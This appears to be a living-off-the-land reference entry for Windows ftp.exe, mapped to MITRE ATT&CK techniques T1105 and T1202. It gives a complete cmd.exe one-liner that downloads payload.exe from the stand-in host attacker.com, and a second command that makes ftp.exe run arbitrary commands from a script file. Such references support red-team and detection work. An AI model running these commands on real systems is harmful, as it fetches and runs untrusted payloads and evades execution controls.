Ftp.exe

A binary designed for connecting to FTP servers

Download

Spawn new process using ftp.exe. Ftp.exe downloads the binary.

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

Download — MITRE: T1105 — Privileges: User

Execute

Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

Executes the commands you put inside the text file. — MITRE: T1202 — Privileges: User